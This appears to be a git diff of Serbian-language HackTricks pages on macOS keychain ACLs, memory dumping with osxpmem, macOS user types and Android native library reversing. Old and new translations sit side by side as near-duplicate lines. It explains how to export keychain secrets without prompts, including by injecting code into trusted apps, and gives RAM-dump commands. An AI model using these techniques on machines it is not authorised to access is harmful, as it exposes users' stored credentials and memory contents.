* **Lista** specifičnih **aplikacija**.
Takođe, unos može sadržati ključ **`ACLAuthorizationPartitionID`**, koji se koristi za identifikaciju **teamid, apple** i **cdhash**.
Takođe, unos može sadržati ključ **`ACLAuthorizationPartitionID`,** koji se koristi za identifikaciju **teamid, apple,** i **cdhash.**
* Ako je naveden **teamid**, tada da bi se **pristupio vrednosti unosa** bez **upita**, korišćena aplikacija mora imati **isti teamid**.
* Ako je naveden **apple**, aplikacija mora biti **potpisana** od strane **Apple-a**.
* Ako je naznačen **cdhash**, onda aplikacija mora imati određeni **cdhash**.
* Ako je **teamid** naveden, tada da bi se **pristupio vrednosti unosa** bez **upita** korišćena aplikacija mora imati **isti teamid**.
* Ako je naveden **apple**, tada aplikacija mora biti **potpisana** od strane **Apple-a**.
* Ako je naveden **cdhash**, tada aplikacija mora imati specifičan **cdhash**.
### Kreiranje unosa u Keychain-u
### Kreiranje Unosa u Keychain-u
Kada se **novi unos** kreira koristeći **`Keychain Access.app`**, primenjuju se sledeća pravila:
Kada se **novi** **unos** kreira koristeći **`Keychain Access.app`**, primenjuju se sledeća pravila:
* Sve aplikacije mogu šifrovati.
* **Nijedna aplikacija** ne može izvoziti/dešifrovati (bez upita korisnika).
* **Nijedna aplikacija** ne može izvoziti/dešifrovati (bez upozorenja korisnika).
* Sve aplikacije mogu videti proveru integriteta.
* Nijedna aplikacija ne može menjati ACLs.
* Nijedna aplikacija ne može menjati ACL-ove.
* **PartitionID** je postavljen na **`apple`**.
Kada **aplikacija kreira unos u Keychain-u**, pravila su malo drugačija:
Kada **aplikacija kreira unos u keychain-u**, pravila su malo drugačija:
* Sve aplikacije mogu šifrovati.
* Samo **kreirajuća aplikacija** (ili bilo koja druga eksplicitno dodata aplikacija) može izvoziti/dešifrovati (bez upita korisnika).
* Samo **kreirajuća aplikacija** (ili bilo koje druge eksplicitno dodate aplikacije) mogu izvoziti/dešifrovati (bez upozorenja korisnika).
* Sve aplikacije mogu videti proveru integriteta.
* Nijedna aplikacija ne može menjati ACLs.
* Nijedna aplikacija ne može menjati ACL-ove.
* **PartitionID** je postavljen na **`teamid:[ovde_teamID]`**.
## Pristup Keychain-u
## Pristupanje Keychain-u
### `security`
```bash
@ -79,69 +93,81 @@ security set-generic-password-parition-list -s "test service" -a "test acount" -
### API-ji
{% hint style="success" %}
**Enumeracija i ispisivanje** tajni u **ključnom lancu** koje **neće generisati upit** mogu se obaviti pomoću alata [**LockSmith**](https://github.com/its-a-feature/LockSmith)
**Enumeracija i iskopavanje** tajni **keychain-a** koje **neće generisati upitnik** mogu se obaviti pomoću alata [**LockSmith**](https://github.com/its-a-feature/LockSmith)
{% endhint %}
Izlistajte i dobijte **informacije** o svakom unosu u ključni lanac:
Lista i dobijanje **informacija** o svakom unosu u keychain:
* API **`SecItemCopyMatching`** daje informacije o svakom unosu i postoje neki atributi koje možete postaviti prilikom korišćenja:
* **`kSecReturnData`**: Ako je tačno, pokušaće da dešifruje podatke (postavite na netačno da biste izbegli potencijalne upite)
* **`kSecReturnRef`**: Dobijte i referencu na stavku u ključnom lancu (postavite na tačno ako kasnije vidite da možete dešifrovati bez upita)
* **`kSecReturnAttributes`**: Dobijte metapodatke o unosima
* **`kSecReturnData`**: Ako je tačno, pokušaće da dešifruje podatke (postavite na lažno da biste izbegli potencijalne iskačuće prozore)
* **`kSecReturnRef`**: Dobijanje reference na stavku u keychain-u (postavite na tačno u slučaju da kasnije vidite da možete dešifrovati bez iskačućeg prozora)
* **`kSecReturnAttributes`**: Dobijanje metapodataka o unosima
* **`kSecMatchLimit`**: Koliko rezultata vratiti
* **`kSecClass`**: Kakav unos u ključnom lancu
* **`kSecClass`**: Kakav je unos u keychain-u
Dobijte **ACL-ove** svakog unosa:
Dobijanje **ACL-ova** svakog unosa:
* Pomoću API-ja **`SecAccessCopyACLList`** možete dobiti **ACL za stavku u ključnom lancu**, i vratiće listu ACL-ova (poput `ACLAuhtorizationExportClear` i drugih prethodno pomenutih) gde svaka lista ima:
* Pomoću API-ja **`SecAccessCopyACLList`** možete dobiti **ACL za stavku u keychain-u**, i vratiće listu ACL-ova (kao što su `ACLAuhtorizationExportClear` i ostali prethodno pomenuti) gde svaka lista ima:
* Opis
* **Lista pouzdanih aplikacija**. To može biti:
* **Lista pouzdanih aplikacija**. Ovo može biti:
* Aplikacija: /Applications/Slack.app
* Binarna datoteka: /usr/libexec/airportd
* Grupa: group://AirPort
Izvezi podatke:
Izvoz podataka:
* API **`SecKeychainItemCopyContent`** dobija tekstualni oblik
* API **`SecItemExport`** izvozi ključeve i sertifikate, ali može biti potrebno postaviti lozinke da biste izvezli sadržaj šifrovan
* API **`SecKeychainItemCopyContent`** dobija tekstualne podatke
* API **`SecItemExport`** izvozi ključeve i sertifikate ali može biti potrebno postaviti lozinke za izvoz šifrovanih sadržaja
I ovo su **zahtevi** da biste mogli **izvoziti tajnu bez upita**:
I ovo su **zahtevi** da biste mogli **izvesti tajnu bez upitnika**:
* Ako je navedeno **1+ pouzdanih** aplikacija:
* Ako je **1+ pouzdanih** aplikacija navedeno:
* Potrebne su odgovarajuće **autorizacije** (**`Nil`**, ili biti **deo** dozvoljene liste aplikacija u autorizaciji za pristup tajnim informacijama)
* Potrebno je da potpis koda odgovara **PartitionID**
* Potrebno je da potpis koda odgovara potpisu jedne **pouzdane aplikacije** (ili biti član odgovarajuće KeychainAccessGroup)
* Potrebno je da potpis koda odgovara onom od jedne **pouzdane aplikacije** (ili biti član odgovarajuće KeychainAccessGroup)
* Ako su **sve aplikacije pouzdane**:
* Potrebne su odgovarajuće **autorizacije**
* Potrebno je da potpis koda odgovara **PartitionID**
* Ako nema **PartitionID**, onda ovo nije potrebno
{% hint style="danger" %}
Dakle, ako je navedena **1 aplikacija**, morate **ubaciti kod u tu aplikaciju**.
Stoga, ako je navedena **1 aplikacija**, potrebno je **ubaciti kod u tu aplikaciju**.
Ako je navedeno **apple** u **partitionID**, možete pristupiti tome pomoću **`osascript`**, tako da sve što veruje svim aplikacijama sa apple u partitionID. **`Python`** takođe može biti korišćen za ovo.
Ako je **apple** naznačen u **partitionID**, možete pristupiti tome pomoću **`osascript`** tako da sve što veruje svim aplikacijama sa apple u partitionID. **`Python`** takođe može biti korišćen za ovo.
{% endhint %}
### Dva dodatna atributa
* **Nevidljivo**: To je boolean oznaka za **sakrivanje** unosa iz aplikacije **UI** Keychain
* **Nevidljivo**: To je boolean oznaka za **sakrivanje** unosa iz **UI** Keychain aplikacije
* **Opšte**: Služi za čuvanje **metapodataka** (tako da NIJE ŠIFROVANO)
* Microsoft je čuvao sve osvežavajuće tokene za pristup osetljivim krajnjim tačkama u obliku običnog teksta.
* Microsoft je čuvao sve osvežene tokene za pristup osetljivim krajnjim tačkama u običnom tekstu.
## Reference
* [**#OBTS v5.0: "Lock Picking the macOS Keychain" - Cody Thomas**](https://www.youtube.com/watch?v=jKE1ZW33JpY)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač na **dark vebu** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici kompromitovani od strane **kradljivih malvera**.
Primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihov pretraživač **besplatno** na:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -1,4 +1,4 @@
# macOS Dumpiranje memorije
# Dumpovanje memorije na macOS-u
<details>
@ -6,37 +6,51 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
## Memorija Artifakti
## WhiteIntel
### Swap Fajlovi
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
Swap fajlovi, kao što je `/private/var/vm/swapfile0`, služe kao **keš kada je fizička memorija puna**. Kada nema više mesta u fizičkoj memoriji, njeni podaci se prenose u swap fajl i zatim se po potrebi vraćaju u fizičku memoriju. Može biti prisutno više swap fajlova, sa imenima kao što su swapfile0, swapfile1, i tako dalje.
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark-web-om** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu podataka**.
### Hibernate Slika
Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
Fajl koji se nalazi na lokaciji `/private/var/vm/sleepimage` je ključan tokom **hibernacije**. **Podaci iz memorije se čuvaju u ovom fajlu kada OS X hibernira**. Nakon buđenja računara, sistem iz ovog fajla povlači podatke iz memorije, omogućavajući korisniku da nastavi gde je stao.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
Važno je napomenuti da je na modernim MacOS sistemima ovaj fajl obično enkriptovan iz bezbednosnih razloga, što otežava oporavak.
{% embed url="https://whiteintel.io" %}
---
## Memorijalni artefakti
### Fajlovi zamene
Fajlovi zamene, poput `/private/var/vm/swapfile0`, služe kao **keš kada je fizička memorija puna**. Kada više nema mesta u fizičkoj memoriji, njeni podaci se prenose u fajl zamene, a zatim se po potrebi vraćaju u fizičku memoriju. Mogu biti prisutni više fajlova zamene, sa imenima poput swapfile0, swapfile1, i tako dalje.
### Hibernate slika
Fajl lociran na `/private/var/vm/sleepimage` je ključan tokom **hibernacionog režima**. **Podaci iz memorije se čuvaju u ovom fajlu kada OS X hibernira**. Po buđenju računara, sistem povlači podatke iz memorije iz ovog fajla, omogućavajući korisniku da nastavi gde je stao.
Važno je napomenuti da je na modernim MacOS sistemima ovaj fajl obično enkriptovan iz sigurnosnih razloga, što otežava oporavak.
* Da biste proverili da li je enkripcija omogućena za sleepimage, može se pokrenuti komanda `sysctl vm.swapusage`. Ovo će pokazati da li je fajl enkriptovan.
### Logovi o pritisku na memoriju
### Logovi pritiska na memoriju
Još jedan važan fajl vezan za memoriju u MacOS sistemima su **logovi o pritisku na memoriju**. Ovi logovi se nalaze u `/var/log` i sadrže detaljne informacije o korišćenju memorije sistema i događajima pritiska na memoriju. Mogu biti posebno korisni za dijagnostikovanje problema vezanih za memoriju ili razumevanje načina na koji sistem upravlja memorijom tokom vremena.
Još jedan važan fajl povezan sa memorijom na MacOS sistemima su **logovi pritiska na memoriju**. Ovi logovi se nalaze u `/var/log` i sadrže detaljne informacije o korišćenju memorije sistema i događajima pritiska na memoriju. Mogu biti posebno korisni za dijagnostikovanje problema povezanih sa memorijom ili razumevanje kako sistem upravlja memorijom tokom vremena.
## Dumpiranje memorije pomoću osxpmem
## Dumpovanje memorije sa osxpmem
Da biste dumpirali memoriju na MacOS mašini, možete koristiti [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip).
Da biste dumpovali memoriju na MacOS mašini, možete koristiti [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip).
**Napomena**: Sledeće instrukcije će raditi samo za Mac računare sa Intel arhitekturom. Ovaj alat je sada arhiviran i poslednje izdanje je bilo 2017. godine. Binarna datoteka preuzeta koristeći dole navedene instrukcije je namenjena Intel čipovima, jer Apple Silicon nije postojao 2017. godine. Moguće je da je moguće kompajlirati binarnu datoteku za arm64 arhitekturu, ali to ćete morati sami da isprobate.
**Napomena**: Sledeće instrukcije će raditi samo za Mac računare sa Intel arhitekturom. Ovaj alat je sada arhiviran, a poslednje izdanje je bilo 2017. Binarni fajl preuzet korišćenjem instrukcija ispod cilja Intel čipove jer Apple Silicon nije postojao 2017. Možda je moguće kompajlirati binarni fajl za arm64 arhitekturu, ali ćete morati sami da probate.
```bash
#Dump raw format
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
@ -44,16 +58,16 @@ sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
#Dump aff4 format
sudo osxpmem.app/osxpmem -o /tmp/dump_mem.aff4
```
Ako pronađete ovu grešku: `osxpmem.app/MacPmem.kext nije uspeo da se učita - (libkern/kext) autentifikacija nije uspela (vlasništvo/datoteke/dozvole); proverite sistemske/kernel dnevnike za greške ili pokušajte sa kextutil(8)` Možete je popraviti na sledeći način:
Ako pronađete ovu grešku: `osxpmem.app/MacPmem.kext nije uspeo da se učita - (libkern/kext) autentikacija nije uspela (vlasništvo/datoteke/dozvole); proverite sistemske/kernel dnevnike za greške ili pokušajte kextutil(8)` Možete je popraviti tako što ćete:
```bash
sudo cp -r osxpmem.app/MacPmem.kext "/tmp/"
sudo kextutil "/tmp/MacPmem.kext"
#Allow the kext in "Security & Privacy --> General"
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
```
**Drugi problemi** mogu biti rešeni **omogućavanjem učitavanja kext-a** u "Security & Privacy --> General", samo ga **omogućite**.
**Drugi problemi** mogu biti rešeni **omogućavanjem učitavanja kext-a** u "Sigurnost i privatnost --> Opšte", jednostavno ga **omogućite**.
Takođe možete koristiti ovaj **oneliner** za preuzimanje aplikacije, učitavanje kext-a i ispuštanje memorije:
Takođe možete koristiti ovaj **jednolinijski** kod za preuzimanje aplikacije, učitavanje kext-a i ispraznjenje memorije:
{% code overflow="wrap" %}
```bash
@ -62,16 +76,28 @@ cd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-
```
{% endcode %}
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokrenut na **dark webu** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **ugroženi** od **malvera koji krade informacije**.
Njihov primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera koji krade informacije.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -6,22 +6,36 @@
Drugi načini podrške HackTricks-u:
* Ako želite videti **oglašavanje vaše kompanije na HackTricks-u** ili **preuzeti HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
### Obični korisnici
## WhiteIntel
* **Daemon**: Korisnik rezervisan za sistemskog demona. Podrazumevano ime naloga demona obično počinje sa "\_":
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je **dark-web** pretraživač koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu podataka**.
Njihov primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb stranicu i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
---
### Obični Korisnici
* **Daemon**: Korisnik rezervisan za sistemskog demona. Podrazumevana imena korisničkih naloga demona obično počinju sa "\_":
```bash
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
```
* **Guest**: Nalog za goste sa veoma strogo ograničenim dozvolama
* **Gost**: Nalog za goste sa veoma strogim dozvolama
{% code overflow="wrap" %}
```bash
@ -30,14 +44,14 @@ for i in "${state[@]}"; do sysadminctl -"${i}" status; done;
```
{% endcode %}
* **Niko**: Procesi se izvršavaju sa ovim korisnikom kada su potrebne minimalne dozvole.
* **Niko**: Procesi se izvršavaju sa ovim korisnikom kada su minimalne dozvole potrebne
* **Root**
### Privilegije korisnika
### Korisničke privilegije
* **Standardni korisnik**: Najosnovniji korisnik. Ovaj korisnik treba dozvole koje mu dodeljuje admin korisnik kada pokušava da instalira softver ili obavlja druge napredne zadatke. Samostalno ne može to uraditi.
* **Admin korisnik**: Korisnik koji većinu vremena radi kao standardni korisnik, ali mu je takođe dozvoljeno da izvršava radnje kao root, kao što je instalacija softvera i druge administrativne zadatke. Svi korisnici koji pripadaju admin grupi **imaju pristup root-u putem sudoers fajla**.
* **Root**: Root je korisnik koji je ovlašćen da izvršava skoro svaku radnju (postoje ograničenja koja nameću zaštite poput System Integrity Protection).
* **Standardni korisnik**: Najosnovniji korisnik. Ovaj korisnik treba dozvole koje mu dodeljuje admin korisnik kada pokušava da instalira softver ili obavi druge napredne zadatke. Ne može to samostalno uraditi.
* **Admin korisnik**: Korisnik koji većinu vremena funkcioniše kao standardni korisnik, ali mu je takođe dozvoljeno da obavlja radnje root korisnika, kao što je instalacija softvera i druge administrativne zadatke. Svi korisnici koji pripadaju admin grupi **dobijaju pristup root korisniku putem sudoers fajla**.
* **Root**: Root je korisnik koji je dozvoljen da obavlja skoro svaku radnju (postoje ograničenja nametnuta zaštitom poput Sistemskog Integriteta).
* Na primer, root neće moći da postavi fajl unutar `/System`
<details>
@ -46,10 +60,10 @@ for i in "${state[@]}"; do sysadminctl -"${i}" status; done;
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -1,4 +1,4 @@
# Revertovanje nativnih biblioteka
# Reversiranje nativnih biblioteka
<details>
@ -6,56 +6,83 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
**Za dalje informacije pogledajte: [https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html)**
## WhiteIntel
Android aplikacije mogu koristiti nativne biblioteke, obično napisane u C ili C++ jeziku, za zadatke koji zahtevaju visoku performansu. Kreatori malvera takođe koriste ove biblioteke, jer je teže reverterati ih nego DEX bajtkod. Ova sekcija naglašava veštine reverteranja prilagođene Androidu, umesto učenja jezika asemblerskog programiranja. Verzije biblioteka za ARM i x86 su obezbeđene radi kompatibilnosti.
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark-web-om** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **kradljivih malvera**.
Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
---
**Za dodatne informacije pogledajte: [https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html)**
Android aplikacije mogu koristiti nativne biblioteke, obično napisane u C ili C++, za zadatke koji zahtevaju visoke performanse. Kreatori malvera takođe koriste ove biblioteke, jer su teže za reverzno inženjerstvo od DEX bajtkoda. Ova sekcija naglašava veštine reverznog inženjeringa prilagođene Androidu, umesto učenja jezika asemblerskog jezika. Verzije ARM i x86 biblioteka obezbeđene su radi kompatibilnosti.
### Ključne tačke:
- **Nativne biblioteke u Android aplikacijama:**
- Koriste se za zadatke koji zahtevaju visoku performansu.
- Napisane su u C ili C++ jeziku, što otežava reverteranje.
- Pronalaze se u formatu `.so` (shared object), sličnom Linux binarnim fajlovima.
- Kreatori malvera preferiraju nativni kod kako bi otežali analizu.
- Koriste se za zadatke koji zahtevaju visoke performanse.
- Napisane su u C ili C++, što čini reverzno inženjerstvo izazovnim.
- Pronalaze se u formatu `.so` (deljene objekte), slično Linux binarnim datotekama.
- Kreatori malvera preferiraju nativni kod kako bi analiza bila teža.
- **Java Native Interface (JNI) i Android NDK:**
- JNI omogućava implementaciju Java metoda u nativnom kodu.
- **Java Native Interface (JNI) & Android NDK:**
- JNI omogućava da se Java metode implementiraju u nativnom kodu.
